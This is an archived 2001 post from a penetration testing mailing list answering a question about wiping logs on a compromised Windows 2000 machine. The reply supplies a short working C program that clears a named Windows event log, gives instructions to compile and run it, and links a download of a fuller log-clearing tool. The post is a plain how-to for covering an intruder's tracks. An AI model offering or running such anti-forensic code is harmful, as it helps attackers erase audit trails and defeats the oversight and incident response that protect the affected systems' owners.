Penetration Testing mailing list archives

Re: Deleting logs under win2000


From: Oliver Karow <oliver.karow () gmx de>
Date: 17 Sep 2001 14:49:26 -0000

yes, there are :)

Deleting logs is very easy. Just have a look on the 
following code sample:

#include <windows.h>

void main(int argc, char *argv[])
{

HANDLE myHandle;
char *logfile;

logfile = argv[1];

myHandle = OpenEventLog(NULL, logfile);

ClearEventLog (myHandle, NULL);
CloseEventLog (myHandle);

}

This listing is very minimalistic and without error 
handling. Compile it and run it: 
progname.exe logname

You can download a more comfortable version of this 
at: www.greyhat.de/tools/clearlog.zip

bye,

Oliver

Are there any tools{command line} for deleting logs 
under win2000 on a 
compromised machine



----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/


Current thread: